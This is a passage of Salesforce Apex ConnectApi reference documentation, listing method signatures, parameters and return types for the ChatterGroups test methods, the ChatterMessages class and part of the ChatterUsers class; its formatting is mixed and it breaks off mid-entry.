Type: ConnectApi.GroupMembershipRequestStatus
The status of the request:
• Accepted
• Declined
The Pending value of the enum is not valid in this method.

responseMessage
Type: String
Provide a message to the user if their membership request is declined. The value of this property is used only when the value of the status property is Declined.
The maximum length is 756 characters.

Return Value
Type: ConnectApi.GroupMembershipRequest

Usage
This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission.

ChatterGroups Test Methods
The following are the test methods for ChatterGroups. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

setTestSearchGroups(communityId, q, result)
Registers a ConnectApi.ChatterGroupPage object to be returned when the matching ConnectApi.searchGroups method is called in a test context. Use the test method with the same parameters or you receive an exception.
API Version
29.0

Signature
public static Void setTestSearchGroups(String communityId, String q, ConnectApi.ChatterGroupPage result)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards. Can be specified as null.

result
Type: ConnectApi.ChatterGroupPage
The test ConnectApi.ChatterGroupPage object.

Return Value
Type: Void

SEE ALSO:
searchGroups(communityId, q)
Testing ConnectApi Code

setTestSearchGroups(communityId, q, pageParam, pageSize, result)
Registras a ConnectApi.ChatterGroupPage object to be returned when the matching ConnectApi.searchGroups method is called in a test context. Use the test method with the same parameters or you receive an exception.

API Version
28.0

Signature
public static Void setTestSearchGroups(String communityId, String q, Integer pageParam, Integer pageSize, ConnectApi.ChatterGroupPage result)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards. Can be specified as null.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

result
Type: ConnectApi.ChatterGroupPage
The test ConnectApi.ChatterGroupPage object.

Return Value
Type: Void

SEE ALSO:
searchGroups(communityId, q, pageParam, pageSize)
Testing ConnectApi Code

setTestSearchGroups(communityId, q, archiveStatus, pageParam, pageSize, result)
Registers a ConnectApi.ChatterGroupPage object to be returned when the matching ConnectApi.searchGroups method is called in a test context. Use the test method with the same parameters or you receive an exception.

API Version
29.0

Signature
public static Void setTestSearchGroups(String communityId, String q, ConnectApi.GroupArchiveStatus, archiveStatus, Integer pageParam, Integer pageSize, ConnectApi.ChatterGroupPage result)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String

q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.

archiveStatus
Type: ConnectApi.GroupArchiveStatus

archiveStatus—Specifies a set of groups based on whether the groups are archived or not.

- All—All groups, including groups that are archived and groups that are not archived.
- Archived—Only groups that are archived.
- NotArchived—Only groups that are not archived.

pageParam
Type: Integer

Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer

Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

result
Type: ConnectApi.ChatterGroupPage

The test ConnectApi.ChatterGroupPage object.

Return Value
Type: Void

SEE ALSO:

searchGroups(communityId, q, archiveStatus, pageParam, pageSize)
Testing ConnectApi Code

ChatterMessages Class

Access and modify message and conversation data.

Namespace

ConnectApi

Usage

Use Chatter in Apex to get, send, search, and reply to messages. You can also get and search conversations, mark conversations as read, and get a count of unread messages.
ChatterMessages Methods

The following are methods for ChatterMessages. All methods are static.

**IN THIS SECTION:**

- `getConversation(conversationId)`
  Returns a conversation the context user has access to.

- `getConversation(conversationId, pageParam, pageSize)`
  Returns a conversation the context user has access to.

- `getConversation(communityId, conversationId)`
  Returns a conversation the context user has access to across their available communities.

- `getConversation(communityId, conversationId, pageParam, pageSize)`
  Returns a conversation from a specific page with a specific number of results the context user has access to across their available communities.

- `getConversations()`
  Returns the most recent conversations the context user has access to.

- `getConversations(pageParam, pageSize)`
  Returns a specific page of conversations the context user has access to.

- `getConversations(communityId)`
  Returns the most recent conversations the context user has access to across their available communities.

- `getConversations(communityId, pageParam, pageSize)`
  Returns a specific page of conversations with a specific number of results the context user has access to across their available communities.

- `getMessage(messageId)`
  Returns a message the context user has access to.

- `getMessage(communityId, messageId)`
  Returns a message the context user has access to across their available communities.

- `getMessages()`
  Returns a list of the most recent messages the context user has access to.

- `getMessages(pageParam, pageSize)`
  Returns the specified page of messages the context user has access to.

- `getMessages(communityId)`
  Returns a list of the most recent messages the context user has access to across their available communities.

- `getMessages(communityId, pageParam, pageSize)`
  Returns the specified page of messages with the specified number of results the context user has access to across their available communities.

- `getUnreadCount()`
  Returns the number of conversations the context user has marked unread. If the number is less than 50, it will return the exact unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore = true.
getUnreadCount(communityId)
Returns the number of conversations the context user has marked unread across their available communities. If the number is less than 50, it will return the exact unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore = true.

markConversationRead(conversationId, read)
Marks a conversation as read for the context user.

markConversationRead(communityId, conversationID, read)
Marks a conversation as read or unread for the context user across their available communities.

replyToMessage(text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to.

replyToMessage(communityId, text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to across their available communities.

searchConversation(conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search.

searchConversation(conversationId, pageParam, pageSize, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search.

searchConversation(communityId, conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across their available communities.

searchConversation(communityId, conversationId, pageParam, pageSize, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across their available communities.

searchConversations(q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of the specified search criteria.

searchConversations(pageParam, pageSize, q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of the specified search criteria.

searchConversations(communityId, q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of the specified search criteria across their available communities.

searchConversations(communityId, pageParam, pageSize, q)
Returns a specific page of conversations with the specified number of results the context user has access to where member names and messages in the conversations match any of the specified search criteria across their available communities.

searchMessages(q)
Returns a page of messages the context user has access to that matches any of the specified criteria.

searchMessages(pageParam, pageSize, q)
Returns a page of messages the context user has access to that matches any of the specified criteria.

searchMessages(communityId, q)
Returns a page of messages the context user has access to that matches any of the specified criteria across their available communities.
searchMessages(communityId, pageParam, pageSize, q)
Returns a specific page of messages with the specified number of results the context user has access to that matches any of the specified criteria across their available communities.

sendMessage(text, recipients)
Sends the specified text to the indicated recipients.

sendMessage(communityId, text, recipients)
Sends the specified text to the indicated recipients across their available communities.

getConversation(conversationId)
Returns a conversation the context user has access to.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation getConversation(String conversationId)

Parameters
conversationId
Type: String
Specify the ID for the conversation.

Return Value
Type: ConnectApi.ChatterConversation

getConversation(conversationId, pageParam, pageSize)
Returns a conversation the context user has access to.

API Version
29.0

Requires Chatter
Yes
public static ConnectApi.ChatterConversation getConversation(String conversationId, String pageParam, Integer pageSize)

Parameters

conversationId
Type: String
Specify the ID for the conversation.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversation

getConversation(communityId, conversationId)
Returns a conversation the context user has access to across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation getConversation(String communityId, String conversationId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

conversationId
Type: String
Specify the ID for the conversation.
Return Value

Type: `ConnectApi.ChatterConversation`
A Chatter conversation and the related metadata.

getConversation(communityId, conversationId, pageParam, pageSize)

Returns a conversation from a specific page with a specific number of results the context user has access to across their available communities.

API Version

30.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.ChatterConversation getConversation(String communityId, String conversationId, String pageParam, String pageSize)
```

Parameters

communityId

Type: `String`
Use either the ID for a community, internal, or `null`.

conversationId

Type: `String`
Specify the ID for the conversation.

pageParam

Type: `String`
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

pageSize

Type: `Integer`
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value

Type: `ConnectApi.ChatterConversation`
A Chatter conversation and the related metadata.

getConversations()

Returns the most recent conversations the context user has access to.
API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage getConversations()

Return Value
Type: ConnectApi.ChatterConversationPage

getConversations(pageParam, pageSize)
Returns a specific page of conversations the context user has access to.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage getConversations(String pageParam, Integer pageSize)

Parameters
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversationPage

getConversations(communityId)
Returns the most recent conversations the context user has access to across their available communities.
API Version
30.0

Requires Chatter
Yes

Signature
`public static ConnectApi.ChatterConversationPage getConversations(String communityId)`

Parameters
`communityId`
Type: `String`
Use either the ID for a community, `internal`, or `null`.

Return Value
Type: `ConnectApi.ChatterConversationPage`
A list of Chatter conversations on a specific page.

`getConversations(communityId, pageParam, pageSize)`
Returns a specific page of conversations with a specific number of results the context user has access to across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
`public static ConnectApi.ChatterConversationPage getConversations(String communityId, String pageParam, Integer pageSize)`

Parameters
`communityId`
Type: `String`
Use either the ID for a community, `internal`, or `null`.

`pageParam`
Type: `String`
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.
**pageSize**
Type: `Integer`
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in **null**, the default size is 25.

**Return Value**
Type: `ConnectApi.ChatterConversationPage`
A list of Chatter conversations on a specific page.

**getMessage (messageId)**
Returns a message the context user has access to.

**API Version**
29.0

**Requires Chatter**
Yes

**Signature**

```java
public static ConnectApi.ChatterMessage getMessage(String messageId)
```

**Parameters**

- `messageId`
  Type: `String`
  Specify the ID for the message.

**Return Value**
Type: `ConnectApi.ChatterMessage`

**getMessage (communityId, messageId)**
Returns a message the context user has access to across their available communities.

**API Version**
30.0

**Requires Chatter**
Yes

**Signature**

```java
public static ConnectApi.ChatterMessage getMessage(String communityId, String messageId)
```
Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **messageId**
  - Type: `String`
  - Specify the ID for the message.

Return Value

- Type: `ConnectApi.ChatterMessage`
- A Chatter message and all the related metadata.

**getMessages()**

Returns a list of the most recent messages the context user has access to.

**API Version**

29.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.ChatterMessagePage getMessages()
```

**Return Value**

- Type: `ConnectApi.ChatterMessagePage`

**getMessages(pageParam, pageSize)**

Returns the specified page of messages the context user has access to.

**API Version**

29.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.ChatterMessagePage getMessages(String pageParam, Integer pageSize)
```
Parameters

pageParam
  Type: String
  Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value

Type: ConnectApi.ChatterMessagePage

getMessages(communityId)

Returns a list of the most recent messages the context user has access to across their available communities.

API Version

30.0

Requires Chatter

Yes

Signature

public static ConnectApi.ChatterMessagePage getMessages(String communityId)

Parameters

communityId
  Type: String
  Use either the ID for a community, internal, or null.

Return Value

Type: ConnectApi.ChatterMessagePage

The Chatter messages on a specific page.

getMessages(communityId, pageParam, pageSize)

Returns the specified page of messages with the specified number of results the context user has access to across their available communities.

API Version

30.0
Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessagePage getMessages(String communityId, String pageParam, Integer pageSize)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterMessagePage
The Chatter messages on a specific page.

getUnreadCount()
Returns the number of conversations the context user has marked unread. If the number is less than 50, it will return the exact unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore = true.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.UnreadConversationCount getUnreadCount()

Return Value
Type: ConnectApi.UnreadConversationCount
**getUnreadCount(communityId)**

Returns the number of conversations the context user has marked unread across their available communities. If the number is less than 50, it will return the exact unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore = true.

**API Version**

30.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.UnreadConversationCount getUnreadCount(String communityId)
```

**Parameters**

- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

**Return Value**

- Type: `ConnectApi.UnreadConversationCount`
  - The number of unread messages in a conversation.

**markConversationRead(conversationId, read)**

Marks a conversation as read for the context user.

**API Version**

29.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.ChatterConversationSummary markConversationRead(String conversationId, Boolean read)
```

**Parameters**

- `conversationId`
  - Type: `String`
Specify the ID for the conversation.

read
Type: Boolean
Specifies whether the conversation has been read (true) or not (false).

Return Value
Type: ConnectApi.ChatterConversationSummary

markConversationRead(communityId, conversationID, read)
Marks a conversation as read or unread for the context user across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationSummary markConversationRead(String
communityId, String conversationID, Boolean read)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

conversationId
Type: String
Specify the ID for the conversation.

read
Type: Boolean
Specifies whether the conversation has been read (true) or not (false).

Return Value
Type: ConnectApi.ChatterConversationSummary
The summary of a Chatter conversation, including the members of the conversation, Chatter REST API URL, and contents of the latest message.

replyToMessage(text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to.
API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage replyToMessage(String text, String inReplyTo)

Parameters
text:
Type: String
The text of the message. Cannot be empty or over 10,000 characters.
inReplyTo:
Type: String
Specify the ID of the message that is being responded to.

Return Value
Type: ConnectApi.ChatterMessage

replyToMessage(communityId, text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage replyToMessage(String communityId, String text, String inReplyTo)

Parameters
communityId:
Type: String
Use either the ID for a community, internal, or null.
text:
Type: String
The text of the message. Cannot be empty or over 10,000 characters.

\texttt{inReplyTo}

Type: \texttt{String}

Specify the ID of the message that is being responded to.

Return Value

Type: \texttt{ConnectApi.ChatterMessage}

A Chatter message and all the related metadata.

\texttt{searchConversation(conversationId, q)}

Returns the conversation the context user has access to with a page of messages that matches any of the specified search.

API Version

29.0

Requires Chatter

Yes

Signature

\texttt{public static ConnectApi.ChatterConversation searchConversation(String conversationId, String q)}

Parameters

\texttt{conversationId}

Type: \texttt{String}

Specify the ID for the conversation.

\texttt{q}

Type: \texttt{String}

Required and cannot be \texttt{null}. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See \texttt{Wildcards}.

Return Value

Type: \texttt{ConnectApi.ChatterConversation}

\texttt{searchConversation(conversationId, pageParam, pageSize, q)}

Returns the conversation the context user has access to with a page of messages that matches any of the specified search.

API Version

29.0
Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation searchConversation(String conversationId, String pageParam, Integer pageSize, String q)

Parameters
conversationId
Type: String
Specify the ID for the conversation.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

q
Type: String
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversation

searchConversation(communityId, conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation searchConversation(String communityId, String conversationId, String q)
Parameters

`communityId`
Type: `String`
Use either the ID for a community, `internal`, or `null`.

`conversationId`
Type: `String`
Specify the ID for the conversation.

`q`
Type: `String`
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value

Type: `ConnectApi.ChatterConversation`
A Chatter conversation and the related metadata.

`searchConversation(communityId, conversationId, pageParam, pageSize, q)`
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature

`public static ConnectApi.ChatterConversation searchConversation(String communityId, String conversationId, String pageParam, Integer pageSize, String q)`

Parameters

`communityId`
Type: `String`
Use either the ID for a community, `internal`, or `null`.

`conversationId`
Type: `String`
Specify the ID for the conversation.

`pageParam`
Type: `String`
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.
pageSize
  Type: Integer
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

q
  Type: String
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversation
A Chatter conversation and the related metadata.

searchConversations(q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of the specified search criteria.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage searchConversations(String q)

Parameters
q
  Type: String
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterConversationPage

searchConversations(pageParam, pageSize, q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of the specified search criteria.

API Version
29.0
Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage searchConversations(String pageParam, Integer pageSize, String q)

Parameters
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterConversationPage

searchConversations(communityId, q)

Returns a page of conversations the context user has access to where member names and messages in the conversations match any of the specified search criteria across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage searchConversations(String communityId, String q)

Parameters
communityId
Type: String
Use either the ID for a community, `internal`, or `null`.

$q$

Type: `String`

Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See `Wildcards`.

Return Value

Type: `ConnectApi.ChatterConversationPage`

A list of Chatter conversations on a specific page.

`searchConversations(communityId, pageParam, pageSize, q)`

Returns a specific page of conversations with the specified number of results the context user has access to where member names and messages in the conversations match any of the specified search criteria across their available communities.

API Version

30.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.ChatterConversationPage searchConversations(String communityId,
String pageParam, Integer pageSize, String q)
```

Parameters

`communityId`  
Type: `String`

Use either the ID for a community, `internal`, or `null`.

`pageParam`  
Type: `String`

Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`  
Type: `Integer`

Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

`q`  
Type: `String`

Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See `Wildcards`.

1078
Return Value
Type: `ConnectApi.ChatterConversationPage`
A list of Chatter conversations on a specific page.

`searchMessages(q)`
Returns a page of messages the context user has access to that matches any of the specified criteria.

API Version
29.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.ChatterMessagePage searchMessages(String q)
```

Parameters
```
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
```

Return Value
Type: `ConnectApi.ChatterMessagePage`

`searchMessages(pageParam, pageSize, q)`
Returns a page of messages the context user has access to that matches any of the specified criteria.

API Version
29.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.ChatterMessagePage searchMessages(String pageParam, Integer pageSize, String q)
```
Parameters

pageParam
  Type: String
  Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

q
  Type: String
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

Type: ConnectApi.ChatterMessagePage

searchMessages(communityId, q)

Returns a page of messages the context user has access to that matches any of the specified criteria across their available communities.

API Version

30.0

Requires Chatter

Yes

Signature

public static ConnectApi.ChatterMessagePage searchMessages(String communityId, String q)

Parameters

communityId
  Type: String
  Use either the ID for a community, internal, or null.

q
  Type: String
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

Type: ConnectApi.ChatterMessagePage
The Chatter messages on a specific page.

**searchMessages(communityId, pageParam, pageSize, q)**

Returns a specific page of messages with the specified number of results the context user has access to that matches any of the specified criteria across their available communities.

**API Version**

30.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.ChatterMessagePage searchMessages(String communityId, String pageParam, Integer pageSize, String q)
```

**Parameters**

- **communityId**
  - Type: String
  - Use either the ID for a community, internal, or null.

- **pageParam**
  - Type: String
  - Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

- **pageSize**
  - Type: Integer
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

- **q**
  - Type: String
  - Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**Return Value**

Type: `ConnectApi.ChatterMessagePage`

The Chatter messages on a specific page.

**sendMessage(text, recipients)**

Sends the specified text to the indicated recipients.
API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage sendMessage(String text, String recipients)

Parameters
text
  Type: String
  The text of the message. Cannot be empty or over 10,000 characters.
recipients
  Type: String
  Up to nine comma-separated IDs of the users receiving the message.

Return Value
Type: ConnectApi.ChatterMessage

sendMessage(communityId, text, recipients)
Sends the specified text to the indicated recipients across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage sendMessage(String communityId, String text, String recipients)

Parameters
communityId
  Type: String
  Use either the ID for a community, internal, or null.
text
  Type: String
The text of the message. Cannot be empty or over 10,000 characters.

`recipients`
Type: `String`
Up to nine comma-separated IDs of users to receive the message.

**Return Value**
Type: `ConnectApi.ChatterMessage`
A Chatter message and all the related metadata.

**ChatterUsers Class**
Access information about users, such as followers, subscriptions, files, and groups.

**Namespace**
`ConnectApi`

**ChatterUsers Methods**
The following are methods for `ChatterUsers`. All methods are static.

**IN THIS SECTION:**
- `deletePhoto(communityId, userId)`: Deletes the specified user's photo.
- `follow(communityId, userId, subjectId)`: Adds the specified `userId` as a follower to the specified `subjectId`.
- `getChatterSettings(communityId, userId)`: Returns information about the default Chatter settings for the specified user.
- `getFollowers(communityId, userId)`: Returns the first page of followers for the specified user ID. The page contains the default number of items.
- `getFollowers(communityId, userId, pageParam, pageSize)`: Returns the specified page of followers for the specified user ID.
- `getFollowings(communityId, userId)`: Returns the first page of information about the followers of the specified user. The page contains the default number of items. This is different than `getFollowers`, which returns the users that follow the specified user.
- `getFollowings(communityId, userId, pageParam)`: Returns the specified page of information about the followers of the specified user. This is different than `getFollowers`, which returns the users that follow the specified user.
- `getFollowings(communityId, userId, pageParam, pageSize)`: Returns the specific page of information about the followers of the specified user. This is different than `getFollowers`, which returns the users that follow the specified user.
getFollowings(communityId, userId, filterType)
Returns the first page of information about the specified types of followers of the specified user. The page contains the default number of items. This is different than getFollowers, which returns the users that follow the specified user.

getFollowings(communityId, userId, filterType, pageParam)
Returns the specified page of information about the specified types of followers of the specified user. The page contains the default number of items. This is different than getFollowers, which returns the users that follow the specified user.

getFollowings(communityId, userId, filterType, pageParam, pageSize)
Returns the specified page of information about the specified types of followers of the specified user. This is different than getFollowers, which returns the users that follow the specified user.

groups(communityId, userId)
Returns the first page of groups the specified user is a member of.

groups(communityId, userId, pageParam, pageSize)
Returns the specified page of groups the specified user is a member of.

getPhoto(communityId, userId)
Returns information about the specified user’s photo.

getReputation(communityId, userId)
Returns the reputation of the specified user.

getUser(communityId, userId)
Returns information about the specified user.

getUserBatch(communityId, userIds)
Gets information about the specified list of users. Returns a list of BatchResult objects containing ConnectApi.User objects. Returns errors embedded in the results for those users that couldn’t be loaded.

getUsers(communityId)
Returns the first page of users. The page contains the default number of items.

getUsers(communityId, pageParam, pageSize)
Returns the specified page of users.

searchUserGroups(communityId, userId, q)
Returns the first page of groups that match the specified search criteria.

searchUserGroups(communityId, userId, q, pageParam, pageSize)
Returns the specified page of users that matches the specified search criteria.

searchUsers(communityId, q)
Returns the first page of users that match the specified search criteria. The page contains the default number of items.

searchUsers(communityId, q, pageParam, pageSize)
Returns the specified page of users that match the specified search criteria.

searchUsers(communityId, q, searchContextId, pageParam, pageSize)
Returns the specified page of users that match the specified search criteria.

setPhoto(communityId, userId, fileId, versionNumber)
Sets the user photo to be the specified, already uploaded file.

setPhoto(communityId, userId, fileUpload)
Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.
setPhotoWithAttributes(communityId, userId, photo)
Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.

setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.

updateChatterSettings(communityId, userId, defaultGroupEmailFrequency)
Updates the default Chatter settings for the specified user.

updateUser(communityId, userId, userInput)
Updates the “About Me” section for a user.

deletePhoto(communityId, userId)
Deletes the specified user’s photo.

API Version
28.0–34.0

Important: In version 35.0 and later, use ConnectApi.UserProfiles.deletePhoto(communityId, userId) on page 1236

Signature
public static Void deletePhoto(String communityId, String userId)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

Return Value
Type: Void

follow(communityId, userId, subjectId)
Adds the specified userId as a follower to the specified subjectId.

API Version
28.0

Requires Chatter
Yes
public static ConnectApi.Subscription follow(String communityId, String userId, String subjectId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

subjectId
Type: String
The ID for the subject to follow.

Return Value
Type: ConnectApi.Subscription

SEE ALSO:
Follow a Record
Unfollow a Record

getChatterSettings(communityId, userId)
Returns information about the default Chatter settings for the specified user.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserChatterSettings getChatterSettings(String communityId, String userId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.
userId
   Type: String
   The ID for the context user or the keyword me.

Return Value
Type: ConnectApi.UserChatterSettings

getFollowers(communityId, userId)
Returns the first page of followers for the specified user ID. The page contains the default number of items.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String userId)

Parameters
communityId
   Type: String
   Use either the ID for a community, internal, or null.

userId
   Type: String
   The ID for a user.

Return Value
Type: ConnectApi.FollowerPage

getFollowers(communityId, userId, pageParam, pageSize)
Returns the specified page of followers for the specified user ID.

API Version
28.0
Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String userId, Integer pageParam, Integer pageSize)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for a user.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.FollowerPage

getFollowings(communityId, userId)
Returns the first page of information about the followers of the specified user. The page contains the default number of items. This is different than getFollowers, which returns the users that follow the specified user.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId)
```

Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **userId**
  - Type: `String`
  - The ID for a user.

Return Value

Type: `ConnectApi.FollowingPage`

```java
getFollowings(communityId, userId, pageParam)
```

Returns the specified page of information about the followers of the specified user. The page contains the default number of items. This is different than `getFollowers`, which returns the users that follow the specified user.

API Version

28.0

Available to Guest Users

32.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId, Integer pageParam)
```

Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **userId**
  - Type: `String`
  - The ID for a user.

- **pageParam**
  - Type: `Integer`
